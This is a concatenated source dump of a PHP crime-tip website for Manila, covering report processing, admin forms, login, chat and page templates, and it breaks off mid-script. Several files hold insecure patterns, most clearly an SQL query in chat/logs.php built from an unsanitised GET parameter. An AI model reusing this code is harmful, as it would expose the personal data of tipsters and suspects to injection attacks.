log back in and use the online Follow-Up feature OR call us between 9a and 8p Mon-Thu to check the status of your tip or any time to provide additional information. Be sure and keep up with your assigned ID#. IF THIS IS AN URGENT MATTER DO NOT SUBMIT IT HERE ALONE. EITHER US DIRECTLY OR DIAL 911 IF IT IS AN EMERGENCY!</p> </div> <?php } else { echo "Error: <br>" . mysqli_error($conn); } ?> <?php /* $ip=0; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } ?> <script> alert ('<?php echo "success! your ip is " . $ip;?>'); </script> <?php /* function generateRandomString($length = 5) { return substr(str_shuffle(str_repeat($x='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length); } $referenceID= generateRandomString(); $refpassword = generateRandomString(); $date = new DateTime(); /* $fileupload1 = $_FILES['FileUpload1']; $fileupload2 = $_FILES['FileUpload2']; $fileupload3 = $_FILES['FileUpload3']; $fileupload4 = $_FILES['FileUpload4']; $fileupload5 = $_FILES['FileUpload5']; $fileupload6 = $_FILES['FileUpload6']; $fileupload7 = $_FILES['FileUpload7']; $fileupload8 = $_FILES['FileUpload8']; $fileupload9 = $_FILES['FileUpload9']; $fileupload10 = $_FILES['FileUpload10']; require '../includes/dbconnect.php'; $sql = "INSERT INTO reports (crime,whathappen,whenhappen,wherehappen,howhappen,whyhappen,otherInfo) VALUES ('$crime','$whathappen','$whenhappen','$wherehappen','$howhappen', '$whyhappen','$anyotherinfo')"; if (mysqli_query($conn, $sql)) { $last_id = mysqli_insert_id($conn); $sql1 = " INSERT INTO involvedparty (reportID, lastName, firstName,otherName,nickName,streetAddress,city,postCode,invDesc,work,tel1,tel2,mobile,email,gender,build,height,age,hairColor,hairLength,hairStyle,eyeColor,complexion,appearance,facialHair,features,otherPeople) VALUES ($last_id,'$lastname','$firstname','$oname','$nickname','$streetadd','$citytown','$postcode','$describeperson','$placework','$whophone1','$whophone2','$whomobile','$whoemail','$whogender3', '$whobuild2','$whoheight', '$whoage','$whohaircolour2','$whohairlength','$whohairstyle','$whoeyecolor', '$whocomplexion','$whoappearance','$whofacialhair','$whootherinfo','$whootherpeople');"; $sql2 = "INSERT INTO involvedvehicle (reportID,registrationNo,make,model,color,year,features,otherVehicle) VALUES ($last_id,'$regnumber','$carmake','$carmodel','$carcolour','$caryear','$cardistinguish','$carother');"; $sql3 = "INSERT INTO updatelog (reportID,reason,loggedIP) VALUES ($last_id,'New Report','$ip');"; $sql4 = "INSERT INTO sender (reportID,firstName,surName,streetAdd,city,region,postCode,phone,email) VALUES ($last_id,'$confirstname','$conlastname','$constreetadd','$concity','$conregion','$conpostcode','$conphone','$conemail');"; $sql5 = "INSERT INTO referencecodes (referenceID,password,reportID) VALUES ('$referenceID','$refpassword',$last_id);"; if (!mysqli_query($conn, $sql1)) { printf("Errormessage: %s\n", mysqli_error($conn)); } if (!mysqli_query($conn, $sql2)) { printf("Errormessage: %s\n", mysqli_error($conn)); } if (!mysqli_query($conn, $sql3)) { printf("Errormessage: %s\n", mysqli_error($conn)); } if (!mysqli_query($conn, $sql4)) { printf("Errormessage: %s\n", mysqli_error($conn)); } if (!mysqli_query($conn, $sql5)) { printf("Errormessage: %s\n", mysqli_error($conn)); } } */ ?> <link href="css/process.css" rel="stylesheet"> <div style="width=500px; height=500px;border=2px solid black;"> <?php /* echo "Reference ID: " .$referenceID . "<br>Password: " . $refpassword ; */ $_POST = array(); header("Location: reportsent.php?referenceID=$referenceID&referencePassword=$ref<PASSWORD>"); } else { header('Location: /index.php'); } /************* functions ********************************/ function generateRandomString($length) { return substr(str_shuffle(str_repeat($x='0123456789abcdefghijklmnopqrstuvwxyz', ceil($length/strlen($x)) )),1,$length); } function processSqlString($fields,$quantity,$last_id_temp,$tableName){ require ('../includes/dbconnect.php'); $sql_str_temp = ""; $columns_str = ""; $values_str = ""; if ($tableName=='reports'){ foreach ($fields as $field) { if (isset($_POST[$field]) && $_POST[$field]!="") { $$field = mysqli_escape_string($conn,$_POST[$field]); $values_str .= "'" . $$field. "',"; $columns_str .= "$field,"; } } $columns_str = substr($columns_str, 0, -1); $values_str = substr($values_str, 0, -1); $sql_str_temp .= " INSERT INTO " . $tableName . " (" . $columns_str . ") VALUES (" . $values_str . "); "; } else { for ($i=0 ; $i<=$quantity ; $i++){ foreach ($fields as $field) { if ((is_array($_POST[$field])) && isset($_POST[$field][$i])) { $$field = mysqli_escape_string($conn,$_POST[$field][$i]); $values_str .= " '". $$field. "' ,"; $columns_str .= " `".$field."`,"; } elseif (isset($_POST[$field])){ $$field = mysqli_escape_string($conn,$_POST[$field]); $values_str .= " '". $$field. "' ,"; $columns_str .= " `".$field."`,"; } } $columns_str = substr($columns_str, 0, -1); $values_str = substr($values_str, 0, -1); $sql_str_temp .= " INSERT INTO `" . $tableName . "` (`reportID`," . $columns_str . ") VALUES ( " . $last_id_temp . " ," . $values_str . ");"; $columns_str = ""; $values_str = ""; } } return $sql_str_temp; } function get_client_ip() { $ip = getenv('HTTP_CLIENT_IP')?: getenv('HTTP_X_FORWARDED_FOR')?: getenv('HTTP_X_FORWARDED')?: getenv('HTTP_FORWARDED_FOR')?: getenv('HTTP_FORWARDED')?: getenv('REMOTE_ADDR'); return $ip; } /**********************functions end *********************/ ?> </div> <file_sep>/administrator/updateWanted.php <?php include_once '../includes/dbconnect.php' ?> <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous"> <!-- Optional theme --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="<KEY>" crossorigin="anonymous"> <title></title> </head> <body> <br> <div class="container" style="margin-left:50px!important;"> <div class="row" style="margin-left:-70px!important;"> <form action="functions/updateWantedFunc.php" method="POST" enctype="multipart/form-data"> <div class="col-xs-12"> <select class="form-control" name="wantedIdentity"> <?php $sql = "SELECT * FROM wanted ORDER BY wantedID DESC"; $result = $conn->query($sql); if ($result->num_rows > 0) { // output data of each row while($row = $result->fetch_assoc()) { ?> <option value="<?php echo $row["wantedID"]; ?>">ID: <?php echo $row["wantedID"]; ?> → Name: <?php echo strtoupper($row["firstName"]); ?> <?php echo strtoupper($row["lastName"]); ?></option> <?php }}?> </select></div> <div class="col-xs-6"><input type="text" class="form-control" name="fname" placeholder="<NAME>" required></div> <div class="col-xs-6"><input type="text" class="form-control" name="lname" placeholder="<NAME>" required></div> <div class="col-xs-6"><input type="text" class="form-control" name="criminalcase" placeholder="Criminal Case" required></div> <div class="col-xs-6"><input type="text" class="form-control" name="crimelocation" placeholder="Crime Location" required></div> <div class="col-xs-12"><textarea type="text" class="form-control" name="crimeDesc" rows="2" placeholder="CRIME DESCRIPTION....." required></textarea></div> <div class="col-xs-6"><input type="time" class="form-control" name="time" placeholder=" Estimated Time of the crime " required></div> <div class="col-xs-6"><input type="number" class="form-control" name="age" placeholder="Age " required></div> <div class="col-xs-6"> <select class="form-control" name="gender"> <option value="Male" >Male</option> <option value="Female" >Female</option> <option value="Unknown" >Unknown</option> </select> </div> <div class="col-xs-6"> <input type="date" class="form-control" data-toggle="tooltip" data-placement="bottom" title="Warrant Issued" name="warrantDate" required></div> <div class="col-xs-12"> <select class="form-control" name="ethnicApp"> <option value="White/European Appearance">White/European Appearance</option> <option value="Black/African Appearance">Black/African Appearance</option> <option value="Asian Appearance">Asian Appearance</option> <option value="Indian/Pakistani Appearance">Indian/Pakistani Appearance</option> <option value="Aboriginal Appearance">Aboriginal Appearance</option> <option value="Pacific Islander Appearance">Pacific Islander Appearance</option> <option value="Mediterranean/Middle Eastern Appearance">Mediterranean/Middle Eastern Appearance</option> <option value="South American Appearance">South American Appearance</option> <option value="other">other</option> </select></div> <div class="col-xs-6"><input type="text" class="form-control" name="height" placeholder="Height " required></div> <div class="col-xs-6"><input type="text" class="form-control" name="build" placeholder="Build" required></div> <div class="col-xs-6"><input type="text" class="form-control" name="hairColor" placeholder="Hair Color" required></div> <div class="col-xs-6"><input type="text" class="form-control" name="hairLength" placeholder="Hair Length " required></div> <div class="col-xs-6"><input type="text" class="form-control" name="hairStyle" placeholder="Hair Style " required></div> <div class="col-xs-6"><input type="text" class="form-control" name="facialHair" placeholder="Facial Hair " required></div> <div class="col-xs-12"> <textarea type="text" class="form-control" name="addInfo" rows="2" placeholder="ADDITIONAL INFORMATION" required></textarea> </div> <div class="col-xs-12"> <input type="file" class="form-control" name="file" ></div> <div class="col-xs-12"><button type="submit" class="btn btn-primary btn-lg btn-block" name="submit">UPDATE</button></div> </form> </div> </div> <script language="javascript" type="text/javascript"> document.oncontextmenu=RightMouseDown; document.onmousedown = mouseDown; function mouseDown(e) { if (e.which==3) {//righClick alert("Disabled - do whatever you like here.."); } } function RightMouseDown() { return false;} </script> <!-- Latest compiled and minified JavaScript --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script> </body> </html> <file_sep>/login/logout.php <?php if (session_status() == PHP_SESSION_NONE) { session_start(); } $reportID = $_SESSION['reportID']; echo "<p class='text-center' style='display:inline-block'>You are logged in with</p>&ensp;<h4 class='form-signin-heading' style='display:inline-block;'>REPORT #$reportID</h4>"; ?> <form class="form-signout" action="login/logoutprocess.php" id='logout-form' method="POST"> <div class="form-group"> <button name='btn-logout' class='btn btn-log btn-lg btn-success btn-block' id='btn-logout' type='submit'><span class='fa fa-sign-out'></span> &nbsp;Logout</button> <!--<button type="button" class='btn btn-warning disabled btn-block' ><span class='fa fa-gavel'></span> &nbsp;Edit report</button>--> </div> </form><file_sep>/login/script.js /* validation */ $("#login-form").validate({ rules: { password: { required: true, }, user_email: { minlength:5, required: true, }, }, messages: { password:{ required: "Please enter your Password" }, user_email: { required:"Please enter your Reference ID", minlength: "Reference ID must be 5 or more characters" } }, submitHandler: submitForm }); /* validation */ /* login submit */ function submitForm() { var data = $("#login-form").serialize(); $.ajax({ type : 'POST', url : 'login/loginprocess.php', data : data, beforeSend: function() { $("#error").fadeOut(); $("#btn-login").html('<span class="fa fa-cog fa-spin"></span> &nbsp; Processing. Please wait ...'); }, success : function(response) { if(response=='ok'){ $("#btn-login").html('<span class="fa fa-thumbs-o-up"></span> &nbsp; Signing In ...'); //setTimeout(' window.location.href = "home.php"; ',4000); $("#login-area").load('login/logout.php'); $("#chatbox").load("chat/chat.php"); } else{ $("#btn-login").fadeIn(1000, function(){ $("#btn-login").html('<span class="glyphicon glyphicon-info-sign"></span> &nbsp; '+response+'!'); }).delay(3000).fadeIn(1000, function(){ $("#btn-login").html('<span class="fa fa-sign-in"></span> &nbsp;Check Report'); }); } } }); return false; } /* login submit */ /* login submit */ <file_sep>/auto-pull.sh #!/bin/bash while : do clear echo "Please Wait...." echo "Fetching the lastest push......" git pull echo "Update Success...." sleep 5 clear done <file_sep>/chat/logs.php <?php if (session_status() == PHP_SESSION_NONE) { session_start(); } if (isset($_GET['id'])){ $reportID = $_GET['id']; } else $reportID = $_SESSION['reportID']; require_once '../includes/dbconnect.php'; if ($result1 = mysqli_query($conn, "SELECT * FROM chatlogs WHERE `reportID` = $reportID ORDER by chatID ASC")){ $user = ""; while ($extract = mysqli_fetch_array($result1)) { if ($extract['isAdmin'] == TRUE) { $user = "<span style='color:red;font-weight:900;'>Macro Officer</span>"; } else { $user = "<span style='color:green;font-weight:700;'>Client</span>"; } $formattedTime = "<sup style='color:gray;font-size:50%;'>" . $extract['date_sent'] . "</sup>"; echo $user . " : " . $extract['message'] . " ". $formattedTime . "<br /><hr>" ; } } ?> <file_sep>/administrator/functions/addKeepsafeFunc.php <?php include_once '../../includes/dbconnect.php'; if (isset($_POST['submit'])) { //all the variables $sidebarName = $_POST['sidebarName']; $content1 = $_POST['content']; $content = addslashes($content1); $file = $_FILES['file']; $fileName = $_FILES['file']['name']; $fileTmpName = $_FILES['file']['tmp_name']; $fileSize = $_FILES['file']['size']; $fileError = $_FILES['file']['error']; $fileType = $_FILES['file']['type']; $fileExt = explode('.', $fileName); $fileActualExt = strtolower(end($fileExt)); $allowed = array('jpg','jpeg','png','pdf'); if (in_array($fileActualExt, $allowed)) { if ($fileError === 0) { if ($fileSize < 2000000) { $fileNameNew = uniqid('', true).".".$fileActualExt; $fileDestination = '../../keepsafeImages/'.$fileNameNew; move_uploaded_file($fileTmpName,$fileDestination); header("Location: ../functions/addKeepsafeFuncSuccess.php"); $sql = " INSERT INTO `keepsafe` (`id`, `sidebarName`, `imageName`, `content`, `defaultOpened`, `created_at`) VALUES (NULL, '$sidebarName', '$fileNameNew', '$content', '', CURRENT_TIMESTAMP); "; mysqli_query($conn,$sql); }else { echo "Your file is too big! "; ?> <br> <button onclick="goBack()">Go Back</button> <script> function goBack() { window.history.back(); } </script> <?php } } else { echo "There was an error uploading your file!"; ?> <br> <button onclick="goBack()">Go Back</button> <script> function goBack() { window.history.back(); } </script> <?php } }else { echo "PLEASE UPLOAD ONLY IMAGES! THANKS YOU!"; ?> <br> <button onclick="goBack()">Go Back</button> <script> function goBack() { window.history.back(); } </script> <?php } } <file_sep>/administrator/functions/updateUnsolvedFuncSuccess.php <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta property="og:image" content="https://codepen.io/redfrost/pen/KzegWQ/image/large.png" itemprop="thumbnailUrl"> <meta property="og:title" content="Redirect Countdown"> <meta property="og:url" content="https://codepen.io/redfrost/details/KzegWQ"> <meta property="og:site_name" content="CodePen"> <meta property="og:description" content="Quick redirection countdown...."> <title></title> </head> <style media="screen"> html { font-family: sans-serif; -ms-text-size-adjust: 100%; -webkit-text-size-adjust: 100% } body { margin: 0 } article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block } audio, canvas, progress, video { display: inline-block; vertical-align: baseline } audio:not([controls]) { display: none; height: 0 } [hidden], template { display: none } a { background-color: transparent } a:active, a:hover { outline: 0 } abbr[title] { border-bottom: 1px dotted } b, strong { font-weight: 700 } dfn { font-style: italic } h1 { font-size: 2em; margin: .67em 0 } mark { background: #ff0; color: #000 } small { font-size: 80% } sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline } sup { top: -.5em } sub { bottom: -.25em } img { border: 0 } svg:not(:root) { overflow: hidden } figure { margin: 1em 40px } hr { -moz-box-sizing: content-box; box-sizing: content-box; height: 0 } pre { overflow: auto } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em } button, input, optgroup, select, textarea { color: inherit; font: inherit; margin: 0 } button { overflow: visible } button, select { text-transform: none } button, html input[type=button], input[type=reset], input[type=submit] { -webkit-appearance: button; cursor: pointer } button[disabled], html input[disabled] { cursor: default } button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0 } input { line-height: normal } input[type=checkbox], input[type=radio] { box-sizing: border-box; padding: 0 } input[type=number]::-webkit-inner-spin-button, input[type=number]::-webkit-outer-spin-button { height: auto } input[type=search] { -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box } input[type=search]::-webkit-search-cancel-button, input[type=search]::-webkit-search-decoration { -webkit-appearance: none } fieldset { border: 1px solid silver; margin: 0 2px; padding: .35em .625em .75em } legend { border: 0; padding: 0 } textarea { overflow: auto } optgroup { font-weight: 700 } table { border-collapse: collapse; border-spacing: 0 } td, th { padding: 0 } /* Basic */ html { font-size: 16px; font-size: 1rem; line-height: 28px; line-height: 1.75rem; } body { background: #fff; margin: auto; color: #333; } /* Font family */ body, h1, h2, h3, h4, h5, h6 { font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; } h1, h2, h3, h4, h5, h6 { line-height: normal; text-transform: uppercase; } /* Button */ a { -webkit-transition: all 200ms ease; -moz-transition: all 200ms ease; transition: all 200ms ease; -webkit-transform: translate3d(0, 0, 0); /* Webkit Hardware Acceleration */ -webkit-backface-visibility: hidden; /* Animation fix */ } a, a:visited, a:active { text-decoration: none; } .btn { display: block; margin: 30px auto; padding: 10px; border: 2px solid #333; text-transform: uppercase; font-weight: bold; background: #333; color: #fff; width: 60%; } .btn:hover { background: transparent; color: #333; } #timer { font-size: 16px; font-size: 1rem; } .copyright { font-size: 14px; font-size: 0.875rem; text-align: center; } /* Animation */ .animated { -webkit-animation-duration: 1.2s; -moz-animation-duration: 1.2s; -ms-animation-duration: 1.2s; -o-animation-duration: 1.2s; animation-duration: 1.2s; -webkit-transform: translate3d(0, 0, 0); -webkit-backface-visibility: hidden; } .animated.fast { -webkit-animation-duration: 800ms; -moz-animation-duration: 800ms; -ms-animation-duration: 800ms; -o-animation-duration: 800ms; animation-duration: 800ms; } .animated.slow { -webkit-animation-duration: 1.4s; -moz-animation-duration: 1.4s; -ms-animation-duration: 1.4s; -o-animation-duration: 1.4s; animation-duration: 1.4s; } @-webkit-keyframes fadeInUp { 0% { opacity: 0; -webkit-transform: translateY(20px); } 100% { opacity: 1; -webkit-transform: translateY(0); } } @-moz-keyframes fadeInUp { 0% { opacity: 0; -moz-transform: translateY(20px); } 100% { opacity: 1; -moz-transform: translateY(0); } } @-o-keyframes fadeInUp { 0% { opacity: 0; -o-transform: translateY(20px); } 100% { opacity: 1; -o-transform: translateY(0); } } @keyframes fadeInUp { 0% { opacity: 0; transform: translateY(20px); } 100% { opacity: 1; transform: translateY(0); } } .fadeInUp { -webkit-animation-name: fadeInUp; -moz-animation-name: fadeInUp; -o-animation-name: fadeInUp; animation-name: fadeInUp; } /* Layout: center box */ #logo-box { text-align: center; padding: 30px; } h1 { font-size: 30px; margin: 0 auto; } /* Desktop only */ @media (min-width: 481px) { #logo-box { position: absolute; text-align: center; left: 50%; top: 48%; width: 400px; margin-left: -230px; height: 440px; margin-top: -250px; font-size: 20px; border: 3px solid #999; box-shadow: 6px 6px 0px #333; } h1 { font-size: 36px; } } .icon { background: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL<KEY>cmcvMj<KEY> center center; height: 128px; margin: auto; width: 90px; } </style> <body> <!-- Redirection Counter --> <script type="text/javascript"> var count = 10; // Timer var redirect = "../updateUnsolved.php"; // Target URL function countDown() { var timer = document.getElementById("timer"); // Timer ID if (count > 0) { count--; timer.innerHTML = "This page will redirect in " + count + " seconds."; // Timer Message setTimeout("countDown()", 1000); } else { window.location.href = redirect; } } </script> <div id="master-wrap"> <div id="logo-box"> <div class="animated fast fadeInUp"> <div class="icon"></div> <h1>UPDATED</h1> </div> <div class="notice animated fadeInUp"> <p class="lead">A Featured Crime has been successfuly updated!</p> <a class="btn animation" href="../updateUnsolved.php">&larr; Back</a> </div> <div class="footer animated slow fadeInUp"> <p id="timer"> <script type="text/javascript"> countDown(); </script> </p> <p class="copyright">&copy; MACRO</p> </div> </div> <!-- /#logo-box --> </div> <!-- /#master-wrap --> </body> </html> <file_sep>/most-wanted-details.php <?php include_once 'functions/browserchecker.php'; ?> <?php require "includes/dbconnect.php";?> <!DOCTYPE html> <html> <title>MACRO | Wanted Details</title> <head> <link rel="icon" href="images/macrofavico.ico"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Lato&subset=latin,latin-ext"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="css/most-wanted-list.css"> <link rel="stylesheet" type="text/css" href="css/most-wanted-details.css"> <link rel="stylesheet" type="text/css" href="css/navbar.css"> <link href="css/animate.css" rel="stylesheet"> </head> <body onload="myFunction()"> <div class="container" onload="myFunction()"> <div class="row"> <div id="preloader"> <div id="loader"></div> </div> </div> </div> <div id="content"> <?php require 'navbar.html' ?><br><br><br> <h1 id="uc1top" class="animated rubberBand">Most Wanted Details</h1> <?php $wantedID = mysqli_real_escape_string($conn,$_GET['wantedID']); $sql = "SELECT * FROM wanted WHERE wantedID='$wantedID'"; $result = mysqli_query($conn,$sql); $queryResults = mysqli_num_rows($result); $wd = 'warrantDate'; ?> <ol class="breadcrumb"> <li><a href="index.php">MACRO</a></li> <li><a href="most-wanted-list.php">LIST WANTED</a></li> <li class="active">WANTED DETAILS</li> </ol> <?php if ($queryResults > 0) { while ($row = mysqli_fetch_assoc($result)) { ?> <!-- start of output and loop it --> <div class="container"> <div class="row"> <div class="col-xs-12 col-sm-5 "><img style="width: 350px; height: 500px;border-radius: 5px;" class="img-responsive" src="wantedImages/<?php echo $row["imgName"];?>" /></div> <div class="col-xs-12 col-sm-7" style="background-color:#EEEDEB;border-radius: 7px;"> <h3 id="mwd1"><?php echo strtoupper($row["firstName"]);?> <?php echo strtoupper($row["lastName"]);?> wanted for <?php echo strtoupper($row["CriminalCase"]);?></h3> <dl> <dd>Crime Location: <?php echo $row["crimeLocation"];?>, Manila </dd> <dd>Suspect Name: <?php echo ucfirst($row["firstName"]);?> <?php echo ucfirst($row["lastName"]);?> </dd> <dd>Warrant Date: <?php echo $row[$wd];?></dd> </dl> <dl> <dt>Crime Descriptions <dd> <?php echo $row['crimeDesc'] ?><br><br> </dd> <dd>Event Date/Time: <?php echo $row['time'] ?></dd> </dt> </dl> <dl> <dt>Suspect description <dd> Sex: <?php echo ucfirst($row['gender']) ?> </dd> <dd> Age Range: <?php echo $row['age'] ?> </dd> <dd> Height: <?php echo $row['height'] ?> </dd> <dd> Build: <?php echo ucfirst($row['build']) ?> </dd> <dd> Hair color: <?php echo ucfirst($row['hairColor']) ?> </dd> <dd> Hair type: <?php echo ucfirst($row['hairStyle']) ?> </dd> <dd> Hair length: <?php echo ucfirst($row['hairLength']) ?> </dd> <dd> Facial Hair: <?php echo ucfirst($row['facialHair']) ?> </dd> <dd> Ethnic appearance: <?php echo ucfirst($row['ethnicApp']) ?> </dd><br> <dd> Additional Infomation: <?php echo ucfirst($row['addInfo']) ?> </dd> </dt> </dl> </div> </div> </div><br><br> <!-- end of output and loop it --> <?php } } ?> </div> <script type="text/javascript"> var Start; function myFunction(){ Start = setTimeout(showpage,2500); } function showpage(){ document.getElementById("preloader").style.display="none"; document.getElementById("loader").style.display="none"; document.getElementById("content").style.display="block"; } </script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> <file_sep>/index.php <?php include_once 'functions/browserchecker.php'; ?> <!DOCTYPE html> <html> <head> <title>MACRO PH</title> <?php require ("indexheader.html");?> </head> <body> <?php session_start(); $_SESSION['loggedIn']=false; if (isset($_SESSION['reportID'])){ if ($_SESSION['reportID'] != 0 || $_SESSION['reportID'] != NULL){ $_SESSION['loggedIn'] = true; } } ?> <div class="container" id="main"> <div class="row" id="welcome"> <div class="col-md-8 col-sm-8 leftside animated fadeInLeft" id="macro00"> <br><br><br><br> <div class="leftside jumbotron well" id="chatbox"> <?php if ($_SESSION['loggedIn']) { require_once ("chat/chat.php"); } else{ ?> <h2>Welcome to <b>Macro</b>.</h2> <p>Or <b>Manila's Anonymous Crime Reporting Online.</b> Connect with us — get to know all crime-related issues in your community. Get in-the-moment updates of the reports you submitted. And learn how crimes unfold, in real time, from every angle.</p> <?php } ?> </div> </div> <?php require 'login/login.php'; ?> </div> <!-- end row --> </div> <!-- end container --> </div><!-- end container --> <footer> <div class="container-fluid hidden-sm "> <div id="footer-chenes"> <div class="text-center animated fadeInUp unselectable" id="box2" > <div href="#myModal1" data-toggle="modal"> <img src="images/type.png" class="img-responsive animated fadeInUpBig" id="imgthief1"> <div id="reportContainer"> <h3><strong style="color: white; "><br>TELL</strong></h3> <p>Tell us anything, anonymously.</p> </div> </div> </div> <!-- end of col 6 --> </div> <!-- end of row footer-chenes --> </div> <!-- end of container --> <div id="or-separator" class="unselectable wow fadeInUpBig animated hidden-sm"> OR </div> <div class="container-fluid hidden-sm" > <div id="footer-chenes1"> <div class="text-center animated fadeInUp unselectable" id="box1"> <div href="#myModal" data-toggle="modal"> <img src="images/thief.png" class="animated fadeInUpBig" id="imgthief"> <div id="crimeContainer"> <h3><strong style="color: white;"><br>LISTEN</strong></h3> <p>Hear from our records and learn from us, for free.</p> </div> </div> </div> <!-- end of col 6 --> </div> <!-- end of row footer-chenes --> </div> <!-- end of container --> <div class="modal fade text-center" id="myModal"> <div class="modal-dialog" id="modaldialoglisten"> <div class="modal-content" id="modalchenes"> <div class="modal-body"> <button type="button" class="close" data-dismiss="modal"><span>&times;</span></button> <br> <h2><strong>Hear from our records.</strong></h2> <br> <div class="container" id="modallisten"> <div class="row"> <div class="col-sm-4 animated "> <a href="most-wanted-list.php"> <button type="button" class="btn btn-default mbtn"><img src="images/mostwanted.png"><br>Most Wanted</button> </a> </div> <div class="col-sm-4 animated "> <a href="featured-crimes.php"> <button type="button" class="btn btn-default mbtn"><img src="images/gun.png"><br>Featured Crime</button> </a> </div> <div class="col-sm-4 animated "> <a href="keep-safe.php"> <button type="button" class="btn btn-default mbtn"><img src="images/safe.png"><br>Keeping Safe</button> </a> </div> </div> </div> </div> <!-- end modal-body --> </div> <!-- end modal-content --> </div> <!-- end modal-dialog --> </div> <!-- end myModal --> <div class="modal text-center fade" id="myModal1"> <div class="modal-dialog"> <div class="modal-content" id="modalchenes"> <div class="modal-body"> <button type="button" class="close" data-dismiss="modal"><span>&times;</span></button> <i class="fa fa-exclamation-triangle fa-5x" style="color: white;"></i> <br> <h2><strong>Is the crime happening right now?</strong></h2> <div class="container"> <div class="row"> <div class="col-sm-6 animated fadeIn"> <!--<a href="#myModal3" data-toggle="modal">--> <a href="multistep.php"> <button type="button" id="m1btn1" class="btn btn-default">No, show me the report menu.</button> </a> </div> <div class="col-sm-6 animated fadeIn"> <a href="#myModal2" data-toggle="modal"> <button type="button" id="m2btn2" class="btn btn-default">Yes, show me emergency numbers.</button> </a> </div> </div> </div> </div> <!-- end modal-body --> </div> <!-- end modal-content --> </div> <!-- end modal-dialog --> </div> <!-- end myModal --> <div class="modal text-center fade" id="myModal3"> <div class="modal-dialog"> <div class="modal-content" id="modalchenes"> <div class="modal-body"> <button type="button" class="close" data-dismiss="modal"><span>&times;</span></button> <br> <h2><strong>Tell us your story, we will listen.</strong></h2> <br> <div class="row"> <div class="col-sm-3" > <a href="multistep.php" id="hiddenindesktop"> <button type="button" class="btn btn-default mbtn"><img src="images/createreport.png"><br>Create Report</button> </a> </div> <div class="col-sm-3 animated "> <a href="#"> <button type="button" class="btn btn-default mbtn"><img src="images/wanted.png"><br>Blank Space</button> </a> </div> <div class="col-sm-3 animated "> <a href="#"> <button type="button" class="btn btn-default mbtn"><img src="images/wanted.png"><br>Blank Space</button> </a> </div> </div> </div> <div class="modal-footer"> <center><button data-dismiss="modal" type="button" class="btn btn-danger">Back</button></center> </div><!-- end modal-footer --> </div> <!-- end modal-body --> </div> </div> </div> <div class="modal text-center fade" id="myModal2"> <div class="modal-dialog"> <div class="modal-content" id="modalchenes"> <div class="modal-body"> <i class="fa fa-info-circle fa-5x" style="color: white;"></i> <br> <h2><strong>Please dial 911 or any of these emergency numbers: </strong></h2> <div class="container"> <div class="row"> <p><b>Philippine National Police (PNP) hotline patrol</b><br>Hotline: 911 / (02)722-0650<br>Text hotline: 0917-847-5757<br><b>Bureau of Fire Protection (NCR)</b><br>Direct line: (02) 426-0219, (02) 426-3812, (02)426-0246 </p> </a> </div> </div> </div><!-- end modal-body --> <div class="modal-footer"> <center><button data-dismiss="modal" type="button" class="btn btn-danger">Back</button></center> </div><!-- end modal-footer --> </div><!-- end modal-content --> </div><!-- end modal-dialog --> </div><!-- end myModal --> </footer> <!-- If no online access, fallback to our hardcoded version of jQuery --> <script>window.jQuery || document.write('<script src="js/jquery-1.8.2.min.js"><\/script>')</script> <!-- Custom JS --> <script type="text/javascript" src="js/script.js"></script> <script type="text/javascript"> var Start; function myFunction(){ Start = setTimeout(showpage,2500); } function showpage(){ document.getElementById("loader").style.display="none"; document.getElementById("preloader").style.display="none"; document.getElementById("content").style.display="block"; } </script> <script type="text/javascript"> $(document).ready(function(){ $("#closeeye").click(function(){ $("#password").attr("type", "text"); $(this).hide(); $("#openeye").show(); }); }); $(document).ready(function(){ $("#openeye").click(function(){ $("#password").attr("type", "<PASSWORD>"); $(this).hide(); $("#closeeye").show(); }); }); </script> </body> </html> <file_sep>/js/multistep.js //jQuery time var current_fs, next_fs, previous_fs; //fieldsets var left, opacity, scale; //fieldset properties which we will animate var animating; //flag to prevent quick multi-click glitches var involvedParty = -1; // number of involved parties var involvedVehicle = -1; //number of involved vehicles var evidenceUploaded = -1; // number of evidence uploaded $("#genNext").click(function(){ if(animating) return false; animating = true; current_fs = $(this).parent(); next_fs = $(this).parent().next(); //activate next step on progressbar using the index of next_fs $("#progressbar li").eq($("fieldset").index(next_fs)).addClass("active"); //show the next fieldset next_fs.show(); //hide the current fieldset with style current_fs.animate({opacity: 0}, { step: function(now, mx) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale current_fs down to 80% scale = 1 - (1 - now) * 0.2; //2. bring next_fs from the right(50%) left = (now * 50)+"%"; 